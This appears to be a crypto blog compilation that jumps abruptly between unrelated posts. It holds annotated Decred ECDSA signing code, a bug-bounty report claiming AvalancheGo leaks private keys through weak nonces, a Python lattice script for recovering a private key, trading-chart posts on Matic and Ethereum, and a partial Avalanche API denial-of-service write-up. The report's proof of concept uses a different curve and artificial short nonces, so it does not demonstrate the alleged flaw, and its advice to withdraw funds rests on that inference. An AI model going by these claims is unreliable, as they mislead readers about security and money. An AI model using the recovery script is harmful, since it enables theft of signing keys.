    func sign(privKey, nonce *secp256k1.ModNScalar, hash []byte) (*Signature, byte, bool) {

        // Author Note: This next collection of code notes shows how critical the RFC-6979 secp256k1 signature 
        // construction was for ensuring the soundness of the entire algorithm. Those notes are reposted from here
        // --------------------------------------
        // "The following is a paraphrased version for reference: 
        // 
        // G = curve generator 
    // N = curve order 
    // d = private key 
    // m = message 
    // r, s = signature
    // 
    // 1.) Select random nonce k in [1, N-1] (author's note: notable that this is listed as the FIRST step in
    // signature generation by the authors of Decred's secp256k1 library that Avalanche uses)
    // 2.) Compute kG (this gives us the 'R' value, which is an x, y coordinate) 
    // 3.) r = kG.x mod N (kG.x is the x coordinate of the point kG) 
    // ... Repeat from step 1 if r = 0 
    // 4.) e = H(m) 
    // 5.) s = k^-1(e + dr) mod N [author's note: this is the signature proof right here!]
    // ... Repeat from step 1 if s = 0 
    // 6. Return (r, s) 
    // 
    // This is slightly modified here to conform to RFC6979 and BIP 62 as follows: 
    // 
    // A. Instead of selceting a random nonce in step 1, use RFC6979 to generate a deterministic 
    // nonce in [1, N-1] parameterized by the private key, message being signed, and an iteration count for
    // the repeat cases . 
    // 
    // B. Negate s calculated in step 5 if it is > N/2. 
    // ... This is done because both s and its negation are valid signatures (author's ntoe: since 'y' can take on 
    // either positive/negative values on the elliptic curve) modulo the curve order N, 
    // so it forces a consistent choice to reduce signature malleability (author's note: love this! 
    // Decred goes above and beyond here with the additional consideration to modulo the entire proof 
    // by 'n', which is the prime order of the cyclic subgroup for the curve itself).
    // 
    // NOTE: Step 1 is performed by the caller. 
    // 
    // Step 2. 
        // 
        // Compute kG
        // 
        // Note that the piont must be in affine coordinates (author's note: this is yet another important consideration)
        k := nonce 
        var kG secp256k1.JacobianPoint
        secp256k1.ScalarBaseMultNonConst(k, &kG)
        kG.ToAffine()

        // Step 3.
        // 
        // r = kG.x mod N
        // Repeat from step 1 if r = 0 
        r, overflow := fieldToModScalar(&kG.X)
        if r.IsZero() {
            return nil, 0, false 
        }

        // Since the secp256k1 curve has a cofactor of 1, when recovering the public key from an ECSA
        // signature over it, there are four possible candidates corresponding to the following cases: 
        // 
        // 1) The X coord of the random point is < N and its Y coord even 
        // 2) The X coord of the random point is < N and its Y coord odd
        // 3) The X coord of the random point is >= N and its Y coord even
        // 4) The X coord of the random point is >= N and its Y coord odd
        // 
        // Rather than forcing the recovery procedure to check all possibel cases, this creates 
        // a recovery code that uniquely identifies which of the cases apply by making use of 
        // 2bits. Bit 0 identifies the oddness case and Bit 1 identifies the overlfow case (aka when 
        // the X coord >= N). 
        // 
        // It is also worth noting that making use of Hasse's theorem shows there are around 
        // log_2((p-n/p) ~= -127.65 ~= 1 in 2^127 points where the X coordinate is >= N. It is 
        // not possible to calculate these points sionce that would require breaking the ECDLP 
        // but, in practice this strongly implies that with extremely high probability that there
        // are only a few actual points for which this case is true.
        pubKeyRecoveryCode := byte(overflow<<1) | byte(kG.Y.IsOddBit())

        // Step 4.
        // 
        // e = H(m) 
        // 
        // Note that this actually sets e = H(m) mod N which is correct since it is only 
        // used in step 5 which itself is mod N. 
        var e secp256k1.ModNScalar 
        e.SetByteSlice(hash) 

        // Step 5 with modification B. 
        // 
        // s = k^-1(e + dr) mod N
        // Repeat from step 1 if s = 0 
        // s = -s if s > N/2
        kinv := new(secp256k1.ModNScalar).InverseValNonConst(k)
        s := new(secp256k1.ModNScalar).Mul2(privKey, &r).Add(&e).Mul(kinv)
        if s.IsZero() {
            return nil, 0, false
        }
        if s.IsOverHalfOrder() {
            s.Negate()
    // Negating s corresponds to the random point that owuld have been generated by 
    // -k (mod N), which necessarily has the opposite oddness since N is prime, 
    // thus flip the pubkey recovery code oddness bit accordingly 
        pubKeyRecoveryCode ^= 0x01
    }

        // Step 6. 
        // 
        // Return (r, s)
        return NewSignature(&r, s), pubKeyRecoveryCode, true
    }
        // That's not even all; from here the actual RFC6979 signature construction is included in the code
    func signRFC6979(privKey *secp256k1.PrivateKey, hash []byte) (*Signature, byte) {
        privKeyScalar := &privKey.Key
        var privKeyBytes [32]byte
        privKeyScalar.PutBytes(&privKeyBytes)
        defer zeroArray32(&privKeyBytes)
        for iteration := uint32(0); ; iteration++ {
            k := secp256k1.NonceRFC6979(privKeyBytes[:], hash, nil, nil, iteration)

        // Steps 2-6.
        sig, pubKeyRecoveryCode, success := sign(privKeyScalar, k, hash)
        k.Zero()
        if !success {
            continue
        }

        return sig, pubKeyRecoveryCode
    }
    // All the code is concluded with the following sign function

    func Sign(key *secp256k1.PrivateKey, hash []byte) *Signature {
    signature, _ := signRFC6979(key, hash)
        return signature
    }
}

Decred's Signature Verification = More Robust + Secure Too

In addition, Decred's signature verification scheme is more robust than the one currently implemented by Avalanche in their Golang codebase.

Avalanche's Current Go-based Construction for Sig Verification (from secp256k1r.go)

func (k *PublicKeySECP256K1R) Verify(msg, sig []byte) bool {
    return k.VerifyHash(hashing.ComputeHash256(msg), sig)
}

func (k *PublicKeySECP256K1R) VerifyHash(hash, sig []byte) bool {
    factory := FactorySECP256K1R{}
    pk, err := factory.RecoverHashPublicKey(hash, sig)
    if err != nil {
        return false
    }
    return k.Address() == pk.Address()
}

Decred's Iteration of Signature Verification for secp256k per Their Project's Specifications

func (sig *Signature) Verify(hash []byte, pubKey *secp256k1.PublicKey) bool {
    if sig.r.IsZero() || sig.s.IsZero() {
        return false
    }

    var e secp256k1.ModNScalar
    e.SetByteSlice(hash)

    w := new(secp256k1.ModNScalar).InverseValNonConst(&sig.s)

    u1 := new(secp256k1.ModNScalar).Mul2(&e, w)
    u2 := new(secp256k1.ModNScalar).Mul2(&sig.r, w)

    var X, Q, u1G, u2Q secp256k1.JacobianPoint
    pubKey.AsJacobian(&Q)
    secp256k1.ScalarBaseMultNonConst(u1, &u1G)
    secp256k1.ScalarMultNonConst(u2, &Q, &u2Q)
    secp256k1.AddNonConst(&u1G, &u2Q, &X)

    if (X.X.IsZero() && X.Y.IsZero()) || X.Z.IsZero() {
        return false
    }

    z := new(secp256k1.FieldVal).SquareVal(&X.Z)

    sigRModP := modNScalarToField(&sig.r)
    result := new(secp256k1.FieldVal).Mul2(&sigRModP, z).Normalize()
    if result.Equals(&X.X) {
        return true
    }

    if sigRModP.IsGtOrEqPrimeMinusOrder() {
        return false
    }

    sigRModP.Add(&orderAsFieldVal)
    result.Mul2(&sigRModP, z).Normalize()
    return result.Equals(&X.X)
}

// *Also this brief call to an* `IsEqual` *function*

func (sig *Signature) IsEqual(otherSig *Signature) bool {
    return sig.r.Equals(&otherSig.r) && sig.s.Equals(&otherSig.s)
}

Concluding Thoughts and Suggestions

1. To me, it seems like a no-brainer to 'copy' over Decred's implementation of secp256k1 since the Avalanche Golang library already imports directly from the project's secp256k1 library as it is. All Avalanche would have to do is update the version for the package they call (from v3 to v4), and adjust the sign and signature functions accordingly (anything beyond that is luxury)

2. The signature scheme for secp256k1 implemented by Decred (using the same library called on by Avalanche Go) exemplifies the types of changes that Avalanche should look to embrace if they want to secure users from the imminent & likely burgeoning threat that they will have their wallets drained in lieu of this approach. To reiterate what was stated earlier in this 3rd report, the RFC 6979 specification for secure secp256k1 (deterministic) signatures is really the only standard that accomplishes such. Thus, there are no other audited, publicly specified and scrutinized methods for generating secp256k1 signatures that meet the bar.

3. While the developers of Avalanche may not necessarily consider this to be a 'bug', I believe that it absolutely is. One reason I make this claim is that the library (Decred's secp256k1) is referenced in the 'import' function in the header of the secp256k1r.go (Avalanche) file already contains the RFC 6979 signature specification I've been mentioning. The actual function as defined by the library just wasn't included in Avalanche's codebase for some reason - which leads me to believe that this was just a mere oversight, mistake, etc., rather than a purposeful decision by the team. This deterministic nonce-based signature construction for secp256k1 is a prominent feature of the Decred secp256k1 library. As we saw from the code excerpts above, it was a major consideration that the devs of the library took into account whilst coding the signature.go file of the Decred file.

In my opinion, I believe the Avalanche development team should be in agreement with me that (a) the aforementioned changes in this 3rd report should be implemented at some point in the foreseeable future (b) the current iteration of Avalanche's Golang codebase that's devoid of these proposed changes serves as an existential threat that it poses the threat of complete compromise and total loss of funds of all those that use it - either directly or indirectly.

This risk should be seen as unpalatable by the Avalanche dev team. With that being said, I'm not proposing that the team shift into emergency protocol to make sweeping changes to very critical, sensitive pieces of the protocol over night - but given the critical nature of these proposed updates and the near guarantee that the pending catastrophic outcome facing Avalanche will be brought to fruition in lieu of affirmative action on this matter, I believe we're all collectively on the same page in our beliefs that something should be done. Soon.

This series includes each report I sent to the Avalanche protocol team detailing a potent zero-day vulnerability in their AvalancheGo implementation that allows for the recovery of private keys from signatures formed by nodes & validators. This vulnerability, which they refuse to patch, allows for the private keys of validators to be forged, which essentially renders the entire protocol compromised. If there's anybody out there that's using Avalanche at the time of writing...my best advice as an objective observer and researcher would be to remove any funds you have on this protocol ASAP.

Everything below includes what I sent to the Avalanche dev team on HackenProof in response to their request for more information about this vulnerability. At the bottom of this initial report is a proof of concept where I successfully recover a private key.

Official Report to Avalanche Developers (Part One)

Pursuant to your request for more information and a reproducible means of exploring this vulnerability/flaw in the design of the signature algorithm, I'm appending this report as an informal "part two" of sorts.

As a recap, I'll start with the information that I wrote about RFC-6979 deterministic signatures using ecdsa.

Walking Through How to Create a Signature with ECDSA

In this process, we'll assume that we already have our private key ('x') and public key ('y') [the latter won't be necessary for the formation of the signature].

The other variables as defined for secp256k1 in the secg specification still applies.

1. calculate the hash of the message (sha256 hash algo for consistency): h = hash(msg)

2. generate a value for 'k': that falls within the range of [1..n-1]

3. derive an x,y coordinate from 'k' the same way we did for 'x': R (random point) = $k*G$

4. take the x-coordinate of 'R': $r = R.x$

5. calculate the signature proof: $s = k^{-1} (h + r x) (modulo n)$

The above steps yield a signature, which is represented by the variables (r, s), which are:

1. x value of the pseudo-pubkey coordinate derived from our ephemeral 'private key' (k) = r

2. signature proof itself = s = ($k^{-1} * (h + (rx)) (modulo n)$)

Getting to the Root of the Issue on Avalanche

I'm going to go ahead and shift focus from the AvalancheJS codebase and dive into the Avalanche Go code since that's one of the stated focuses of this bug bounty program.

Specifically, I'm going to start with Avalanche's documentation here: https://docs.avax.network/subnets/create-a-vm-blobvm

Avalanche's Documentation on Transaction States

Under the first heading titled, 'Transactions', the documentation notes: "The state the blockchain can only be mutated by getting the network to accept a signed transaction. A signed transaction contains the transaction to be executed alongside the signature of the issuer. The signature is required to cryptographically verify the sender's identity. A VM can define an arbitrary amount of unique transaction types to support different operations on the blockchain."

From there, I'm going to fast forward to the subheading titled, 'Signed Transaction. There, the documentation notes, "BlobVM implements signed transactions by embedding the unsigned transaction alongside its signature in Transaction. In BlobVM, a signature is defined as the ECDSA signature of the issuer's private key of the KECCAK256 hash of the unsigned transaction's data (digest hash)."

Signature-Related Documentation (SetTx)

As the documentation notes, in order to issue a SetTx transaction, one starts by composing the unsigned transaction for that type:

utx := &chain.SetTx{
    BaseTx: &chain.BaseTx{},
    Value:  []byte("data"),
}

utx.SetBlockID(lastAcceptedID)
utx.SetMagic(genesis.Magic)
utx.SetPrice(price + blockCost/utx.FeeUnits(genesis))

The above is not of particular importance. However, what follows is.

Calculating Digest Hash for the TX

This is coded as:

digest, err := chain.DigestHash(utx)

From there, the digest (variable created via taking the keccak256 of the unsigned TX) is signed via the following:

signature, err := chain.Sign(digest, privateKey)

Herein lies the issue above.

Dissecting the Issue with Avalanche's Current Construction in This Scheme

The signature that's created is generated solely by signing the keccak256 hash of the unsigned transaction data.

Combing Through the Remaining Codebase

I have spent the past few hours combing extensively through the Avalanche codebase (specifically for Avalanche Go).

After completing what I can only assume is an exhaustive search (please correct me if I'm wrong) amid other tests and observations, it appears that:

1. Avalanche uses secp256k1 (ecdsa) as their algorithm of choice for both generating private & public key pairs and for their signature algorithm as well.

2. Given #1, it must be true that a 'nonce' value of some sort is generated in order to create a signature (this is part of the secp256k1 specification)

3. My personal tests have revealed that re-generating a signature with the exact same parameters yields a duplicate output. Thus, the signatures generated with Avalanche Go have to be deterministic.

4. Nowhere in the codebase does Avalanche stipulate that they have employed RFC 6979

5. Given this fact, there must be another source that Avalanche is using to create a deterministic signature. The only other one that I can see in the code (or imagine after heavy discussion w other developers) is the actual keccak256 digest of the message (transaction struct) itself.

To be clear, what I'm suggesting is that Avalanche's Go implementation uses the keccak256 hash of the transaction data (to be signed) as its source for the 'nonce' that's included as part of the secp256k1 signature algorithm.

Why Avalanche's Source for the Nonce in Their Signature Algo is a Major Problem

The nonce is supposed to be derived from a random/pseudo-random source. In the case of it being deterministic, there are expected pieces of information that are fed into the HMAC-SHA256 construction in order to abate private key recovery via nonce leakage/usage.

This is because one potent attack vector associated with secp256k1 is the fact that private keys can be recovered if the nonce for more than one signature operation can be determined.

Dangers of an Insecure Nonce

If an insecure nonce is used in secp256k1 signature operations, it may be possible for an attacker to recover the private key used to generate the signature. This is known as a "nonce reuse" attack, and it is a type of side-channel attack that can be used to break the security of the signature scheme.

The basic idea behind a nonce reuse attack is as follows: since the nonce is not being generated randomly and is instead being derived from a known value (such as the message), an attacker may be able to compute the value of the nonce used in a signature by analyzing multiple signatures of different messages that have been signed with the same private key. Once the attacker has determined the value of the nonce, they can use this information to compute the private key used to sign the messages.

The exact method for recovering the private key will depend on the specific implementation of the secp256k1 algorithm, as well as the details of the nonce generation method being used. However, in general, the attack involves using a set of signatures to compute a system of equations that can be solved to recover the private key.

To protect against nonce reuse attacks, it is important to use a secure method for generating nonces in secp256k1 signature operations. The RFC 6979 algorithm is one such method that is designed to generate random and unpredictable nonces for each signature operation, which can help prevent nonce reuse attacks. Additionally, it is important to ensure that the random number generator used to generate the nonce is cryptographically secure and to take other steps to protect against side-channel attacks.

Actually Recovering Private Keys from Reused Nonces

Substantially more information is offered here by 'Trail of Bits'.

However, the gist is that:

• Since ecdsa (secp256k1) signature operations involve providing a signature proof that reads: $s = (k^-1(H(m) + xr)$

• We can compute/recover a private key so long as we know the nonce ('k'), by virtue of: $ks = H(m) +x*r$ (assuming 'H(m)' here is the hashed message, 'x' is the private key integer and 'r' is the 'x' value of the x,y coordinate generated by multiplying the curve generator base point times 'k' [$r = kG$])

• After we've moved the 'k' over to our equation to create $ks = H(m) + x*r$, we simply subtract the hashed message value (converted to an integer, represented by 'H(m)' here), to give us $ks - H(m) = xr$

• From there, we derive the private key by simply solving the equation (with our knowledge of 'k') to give us $x = r^-1*(ks-H(m))$; remember, the 'r' variable is made public (as part of r,s,v) and so is s as well as the hashed message (H(m)), so we're merely plugging in values at this point.

Modules Online That Show Efficient Nonce Recovery for secp256k1

There are several modules online showing such a key recovery.

https://asecuritysite.com/encryption/ecd3

Live Example from Avalanche Docs

Let's go back here: https://docs.avax.network/specs/cryptographic-primitives

If we fly down to the part where Avalanche gives its 'Rick and Morty' example, we can extract all of the relevant information outside of the private key and still recover the private key.

I actually had to make a few modifications, but I used the same base private key that was provided there: 0x98cb077f972feb0481f1d894f272c6a1e3c15e272a1658ff716444f465200070

Then I converted that private key to a decimal value (integer) for the purposes of slotting it into a python script.

That value = 69110274690866025692964149917516030805802301098524286277666640594465779089520

From there, I inputted it into the following python script:

import ecdsa
import random
import libnum
import olll
import hashlib
import sys

# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/

G = ecdsa.NIST256p.generator
order = G.order()
priv = 69110274690866025692964149917516030805802301098524286277666640594465779089520

Public_key = ecdsa.ecdsa.Public_key(G, G * priv)
Private_key = ecdsa.ecdsa.Private_key(Public_key, priv)

k1 = random.randrange(1, pow(2,127))
k2 = random.randrange(1, pow(2,127))

msg1="hello"
msg2="hello1"

if (len(sys.argv)>1):
    msg1=(sys.argv[1])
if (len(sys.argv)>2):
    msg2=(sys.argv[2])

m1 = int(hashlib.sha256(msg1.encode()).hexdigest(),base=16)
m2 = int(hashlib.sha256(msg2.encode()).hexdigest(),base=16)

sig1 = Private_key.sign(m1, k1)
sig2 = Private_key.sign(m2, k2)

print ("Message 1: ",msg1)
print ("Message 2: ",msg2)
print ("\nSig 1 r,s: ",sig1.r,sig1.s)
print ("Sig 2 r,s: ",sig2.r,sig2.s)
print ("\nk1: ",k1)
print ("k2: ",k2)

print ("Private key: ",priv)

r1 = sig1.r
s1_inv = libnum.invmod(sig1.s, order)
r2 = sig2.r
s2_inv = libnum.invmod(sig2.s, order)

matrix = [[order, 0, 0, 0], [0, order, 0, 0],
[r1*s1_inv, r2*s2_inv, (2**128) / order, 0],
[m1*s1_inv, m2*s2_inv, 0, 2**128]]

search_matrix = olll.reduction(matrix, 0.75)
r1_inv = libnum.invmod(sig1.r, order)
s1 = sig1.s

for search_row in search_matrix:
    possible_k1 = search_row[0]
    try_private_key = (r1_inv * ((possible_k1 * s1) - m1)) % order

    if ecdsa.ecdsa.Public_key(G, G * try_private_key) == Public_key:
        print("\nThe private key has been found")
        print (try_private_key)

Then I ran it in repl.

This enabled me to successfully recover the private key with just two different known messages (and accompanying signatures, in theory):

To do so, I used this module on 'asecuritysite'.

In essence, what this module shows is that with the revelation of a 'k value' (for either one of the messages being hashed), the private key can be successfully recovered.

Of course, in this case, the private key value was plugged in ahead of time - but that's only so we're able to evaluate whether the finally generated private key matches our input or not (denoted by the congratulatory message at the end).

Please let me know if there are any further questions!

Specifically, we're going to start by drawing an overhead diagonal downtrend resistance from the previous localized high, which occurred in late December 2021.

https://www.tradingview.com/x/CK35lVU9/

Why are We Doing This?

To give us a sense for when the price broke out from this overhead diagonal downtrend resistance.

If we look closely (on the daily resolution, still), we can see where $Matic broke above this overhead diagonal downtrend resistance circa mid-2022.

https://www.tradingview.com/x/2knhEggM/

Let's check out the price trajectory from that point in mid-2022 to present.

https://www.tradingview.com/x/gMnErrKB/

As we can see from the chart above, Matic has posted a +50% ROI dating back to that point in late July 2022.

This is in stark contrast with the overall market performance from that point to present (specifically Bitcoin and Ethereum).

Bitcoin's Performance

Below is a look at the net change in price for Bitcoin over the same span of time (July 2022 - present).

https://www.tradingview.com/x/3Q8bmvnk/

Ethereum's Performance

Below is a look at the net change in price for Ethereum over the same span of time (July 2022 - Present).

https://www.tradingview.com/x/rwianFsI/

Takeaways

Its worth noting that the above observations are only meant to serve as hasty comparisons to Matic's price action over the same span of time to exemplify the standout performance of this token over the past 6-7 months.

Piecing it All Together

Beyond noting that Matic's price action has been markedly more bullish than Bitcoin or Ethereum (both chosen as benchmarks given their market share % and corresponding 'weight' in influencing prevailing market trend and trajectory), its also worth observing:

1. For the vast majority of the period observed (July 2022 - Feb 2023) for Bitcoin and Ethereum, the price of both assets traded below the assets' close price on July 27th, 2022.

2. Contrary to the observation made in #1, Matic has spent almost as much time above its close on July 27th, 2022 as it did below.

Notable Recent Price Action

Let's take another look at Matic on the daily resolution.

https://www.tradingview.com/x/VeCguDaT/

As we can see in the chart above, from August 2022 to January 14th, 2023, Matic's price consistently failed to break above the 94 cent realm.

There's one notable exception where the price of Matic broke above this overhead horizontal resistance briefly from November 3th-12th, 2022.

https://www.tradingview.com/x/v1rnVplQ/

As noted in the chart above, that breakout was spurred on by the SBF implosion that took place around that same time.

Notably, the implosion of FTX and Alameda put the existential fate of Solana (as both a project and ecosystem) into serious question since SBF and Alameda were both seen as the primary driving forces fueling the project's growth and sustainability.

Thus, when the SBF situation grew increasingly volatile and catastrophic, investors bought Matic anticipating that impending consequences for Solana would lead to an increased market share and prominence for the competitor.

As the chart above also shows, this sentiment was short-lived as the price of Matic dipped back down below the overhead horizontal resistance at 94 cents.

Recent Breakout

This most recent breakout in price for $Matic should be considered 'legit'.

https://www.tradingview.com/x/l1fgMlcM/

Conclusion

We're going to make this one of our long-term positions (as mentioned in the Discord). Let's see how this trade pans out over the next quarter or two.

Given the recent price action of Ethereum and the markets, it seemed reasonable to check out how the asset's been doing lately - especially since the price of $ETH is rubbing against a long-term overhead horizontal resistance.

Ethereum on the Daily Resolution

In the chart above, we can see the price recently testing the EMA-50 (successfully) before heading directly up to re-test the overhead horizontal resistance at $1660 or so.

In just under a month, the price of Ethereum has bumped against this overhead horizontal resistance four times.

Momentum Indicator Overlays Support an Entry on the Daily

If we look at our various custom-coded momentum indicators (which are overlaid on top of the price chart itself), we can see that they're near unanimous in signaling 'entry'.

Librehash Reversion Ribbon V2

What we're going to see below should spark some intrigue for readers.

As one can see above, the Librehash Reversion Ribbon V2:

1. Has re-colored all of the candles red.

2. The ribbon is showing a recent convergence of the ribbon (from 'red' [bearish] to what should eventually be 'green' when the ribbon changes colors once it faster moving average crosses back over the slower one [these two averages form the basis of the ribbon itself]). In layman's terms, this exemplifies a major shift in sentiment for this asset (Ethereum).

3. The color of the ribbon itself shifted from dark red to a lighter red. This shift occurred on February 10th, 2023 (less than 5 days ago before we saw this shift in sentiment reflected in the price).

4. The ribbon dipped just below the histogram, but it appears to be curving back upward, currently in a trajectory to cross back above the histogram (zero line).

Balance of Power RSI

This is a custom momentum indicator that we've created to track the underlying buy/sell pressure for a given asset.

The biggest benefit conferred by this indicator is its ability to track underlying shifts in buying/selling activity well before other indicators can (like the RSI(14)).

In the photo above, we can see that the inflection point for this indicator was on February 13th, 2023.

In this case, the indicator was not premature in its signal as it aligned with the pivot in price action that occurred on that same day as well.

Balance of Power RSI on the Weekly Resolution

While the Balance of Power RSI on the daily resolution isn't too insightful, the weekly resolution provides us with a great look at an underlying shift from bullish exuberance to gradually increased bearish price action (selling).

Upon closer look, we can see the shift in the Balance of Power RSI's trend (overall direction; think 'line of best fit').

Closer observation reveals that the 'second high' (localized) is lower than the first one.

Let's look at the other momentum indicators vs. the Balance of Power RSI over the same timeframe.

Librehash RSI(14)

Cryptomedication Volatility RSI

This one tracks momentum

Which One Do We Trust?

As we can see from the charts above, the Balance of Power RSI strongly contradicts the Librehash RSI & Cryptomedication Volatility RSI.

In this case, we're going to place more weight on the Balance of Power RSI than the latter two indicators due to the fact that it's specifically designed to track underlying changes in sentiments well ahead of other indicators.

Conclusion

We're going to abstain from entering into a position on Ethereum here.

It is likely that the price will continue to increase in the short term, but we can't see enough upside over the medium term to justify entry into a 'long' position at the time of writing.

We're also not going to be crazy enough to advocate for a short since the prevailing market sentiment seems to be overwhelmingly bullish at this point (compared to where it was toward the beginning to mid-Fall 2022).

Considering the fact that Avalanche is currently trading with a total market cap in excess of $5.5 billion at the time of writing, news of this nature immediately struck me as something worthy of investigation.

After I did a cursory search on Google, Reddit, Telegram, Twitter and other social media to see if any other outlets or entities had mentioned the situation, I was a bit confused to see there was absolutely no discussion on the matter.

Thus, I took it upon myself to consult the OG source of this information.

As this report will show, despite the widespread lack of coverage and attention paid to this issue, the individual who originally made these findings stumbled upon a bonafide denial of service bug capable of knocking the entire 'P chain' offline.

Consulting the OG Intel Report

Before moving forward, all credit for this discovery should be given to the author of the original report, whom we're about to familiarize ourselves with. If there are any bounties, rewards, etc., that are to be paid out in pursuance of this piece, I kindly request that you forward them to the aforementioned research ahead of myself. Thank you.

Following the link from the Telegram channel that initially alerted me about this discovery, I was able to find the original author of this report.

https://twitter.com/123456; curiosly, they're followed by Huobi and Brock Pierce, among others - so this clearly isn't a "random" of some sort

The specific tweet in question that notes the zero day is linked below:

As we can see above, the author didn't mince any words in their description of the alleged issues on Avalanche's blockchain. They also included a link to a longer form piece they published that details their findings in greater depth.

We're going to go take a peek at that report now.

Digging into the Vuln Analysis Report

This report is admittedly a much more interesting read than most proof of concepts you'll ever find.

The report starts with the following:

"Avalanche just fucked me out of a sizable bug bounty — so I immediately found another bug to disclose to the public. This is a remote API DoS/crash that should OOM chain P and render a vulnerable node mostly or entirely useless."

Sticking to the facts here, the claims made with respect to the identified vulnerability were:

• The issue renders Avalanche's API endpoint susceptible to being taken down/offline via exploiting the vulnerability to exhaust that resource via denial of service.

• Exhausting said resource via denial of service via exploiting this discovered vulnerability could "OOM chain P".

"OOM Chain P"?

to understand this, we're going to need to (lightly) cover how Avalanche works for a second.

The primary difference between Avalanche's design as a 'blockchain' versus other in this space that we've grown familiar with over time is that Avalanche has three different chains that users in their ecosystem can interact with.

From Avalanche's documentation: "Avalanche features 3 built-in blockchains: Exchange Chain (X-Chain), Platform Chain (P-Chain), and Contract Chain (C-Chain). All 3 blockchains are validated and secured by all Avalanche validators which is also referred as the Primary Network. The Primary Network is a special Subnet, and all members of all custom Subnets must also be a member of the Primary Network by staking at least 2,000 AVAX."

That description was also supplemented with an accompanying graphic (re-published below for convenience):

The following screenshot from Avalanche's docs provide a bit more insight into what it is that each individual chain's role is in the ecosystem.

Quick Takeaways on Avalanche Chain Structure (Context)

This isn't a tangent here. The purpose of taking the time out to understand the purpose and role of the 'P Chain' within the context of this ecosystem as this will help inform our perspectives later when we assess the magnitude of the issue.

Based on the brief overview from above, we now know that:

1. All 3 chains that run on Avalanche rely on the 'P Chain'. Remember, the documentation we just read stated, "All 3 blockchains are validated and secured by all Avalanche validators which is also referred as the Primary Network" (Primary Network = 'P Chain')

2. The existence of each 'subnet' on the protocol depends on the perpetual functionality of the "P Chain"

3. The consensus mechanism for Avalanche is handled and executed exclusively by the P Chain.

With all the following in consideration, its clear that any takedown of the 'P Chain' would effectively render the entire blockchain itself inoperable.

"What Does 'OOM' Mean?

OOM = Out of Memory

In the next part of this case study, we will soon see how relevant this is to the overall attack vector.

Analyzing the Actual Attack

In the blog post, the author put up a link to a YouTube video showing the specific issue at hand.

https://www.youtube.com/watch?v=Pg9w_g4Cv9A

What the video is showing is:

1. Using a software tool called 'Burp Suite' to craft a very specific API request directed at an endpoint.

2. The API command is a simple `POST' request, which asks for the endpoint to return back a list of validators.

3. The endpoint does so, but the response appears to be massive.

The issue is inherent in the video alone (if you don't get it, we'll break down why further along). Also, based on what we can see in the video, the alleged mitigations that were suggested by Avalanche to the author of this research will not have any impact on mitigating this issue.

Below is a semantic explanation from the author of what occurred in the video we just watched above:

The author is right in their assessment of the situation.

We'll find out that there are a few other issues with this current situation as it is on Avalanche and why some of the mitigations that they've already put in place could be bypassed with relative ease.

Running Our Own Tests on the Avalanche Main API Endpoint

No malicious or nefarious conduct was taken by the author of this study. This exercise did not result in actually disabling the Avalanche API endpoint (as that would just be an outright attack on the network at that point). This testing also did not require crafting any purposefully malicious inputs or behaving in a way outside of what has been explicitly specified in Avalanche's documentation

With that disclaimer out of the way, let's get started.

While the research proffered by the OG intelligence report appeared more than credible, it's good practice to roll your sleeves up and get your 'hands dirty' as well if you have the chance.

Doing so allows you to independently verify that what's been alleged is actually the case and may also enable you to discover a few supplementary facts or developed perspectives not present in the initial report.

Avalanche API Documentation

From here, our first trip is to Avalanche's API documentation.

The documentation starts off by letting us know that, "There is a public API server that allows developers to access the Avalanche network without having to run a node themselves. The public API server is actually several AvalancheGo nodes behind a load balancer to ensure high availability and high request throughput."

As they note, their public API server is hosted at api.avax.network for the Avalanche mainnet. In order to make calls on the endpoint that draws data from one of the 3 chains, one has to append the appropriate subdirectory location for that respective chain to the API URL endpoint.

Thus, there are one of three potential Avalanche API endpoint URLs you will call (contingent on which chain you want to interact with), and they are:

1. C-Chain = https://api.avax.network/ext/bc/C/rpc

2. X-Chain = https://api.avax.network/ext/bc/X

3. P-Chain = https://api.avax.network/ext/bc/P

Obviously, we're most interested in the third option.

Finding the API Documentation Containing Methods for Calling the 'P Chain'

Fortunately, this is all on the same site hosting this documentation right here. More specifically, the API call that we're interested in looking a bit closer at is the platform.getCurrentValidators method.

This method is defined as being used to "list the current validators of the given subnet'. However, what we'll see is that this API request actually works much differently in practice (which is a flaw in the design and logical, sane API design by Avalanche).

Below is the 'signature' (basically a list of all the different parameters & subparams that can be extracted using this call on the endpoint):

platform.getCurrentValidators({
    subnetID: string, // optional
    nodeIDs: string[], // optional
}) -> {
    validators: []{
        txID: string,
        startTime: string,
        endTime: string,
        stakeAmount: string,
        nodeID: string,
        weight: string,
        validationRewardOwner: {
            locktime: string,
            threshold: string,
            addresses: string[]
        },
        delegationRewardOwner: {
            locktime: string,
            threshold: string,
            addresses: string[]
        },
        potentialReward: string,
        delegationFee: string,
        uptime: string,
        connected: bool,
        signer: {
            publicKey: string,
            proofOfPosession: string
        },
        delegators: []{
            txID: string,
            startTime: string,
            endTime: string,
            stakeAmount: string,
            nodeID: string,
            rewardOwner: {
                locktime: string,
                threshold: string,
                addresses: string[]
            },
            potentialReward: string,
        }
    }
}

As noted above, this method is defined as being purposed for returning back the "current validators of the given Subnet".

But if we look at how the various parameters are defined and their usage within the context of this API call, the cause of the issue becomes readily apparent.

Specifically, one would imagine that the subnetIDparam would be required for this call to evaluate successfully on the endpoint - but it is not. The docs define subnetID as a "the subnet whose current validators are returned". But goes on to state that "if omitted, returns the current validators of the Primary Network" (P Chain)

Similarly, the `nodeIDs' param is defined as a "list of the NodeIDs of the current validators to request", but "if ommitted, all current validators are returned".

Below is an excerpt from the 'signature' for this API method that defines all of the information that accompanies each validator.

validators: []{
    txID: string,
    startTime: string,
    endTime: string,
    stakeAmount: string,
    nodeID: string,
    weight: string,
    validationRewardOwner: {
        locktime: string,
        threshold: string,
        addresses: string[]
    },
    delegationRewardOwner: {
        locktime: string,
        threshold: string,
        addresses: string[]
    },
    potentialReward: string,
    delegationFee: string,
    uptime: string,
    connected: bool,
    signer: {
        publicKey: string,
        proofOfPosession: string
    },
    delegators: []{
        txID: string,
        startTime: string,
        endTime: string,
        stakeAmount: string,
        nodeID: string,
        rewardOwner: {
                locktime: string,
                threshold: string,
                addresses: string[]
        },
        potentialReward: string,
    }
}

Executing This API Call on the Avalanche Endpoint

For the sake of exploration, I decided to go ahead and execute this call on the provided Avalanche endpoint.

The sample curl command given by Avalanche for this method was:

curl -X POST --data '{
    "jsonrpc": "2.0",
    "method": "platform.getCurrentValidators",
    "params": {},
    "id": 1
}' -H 'content-type:application/json;' 127.0.0.1:9650/ext/bc/P

We're going to change this command slightly so that:

1. The Avalanche endpoint is inserted in the place of the IP address

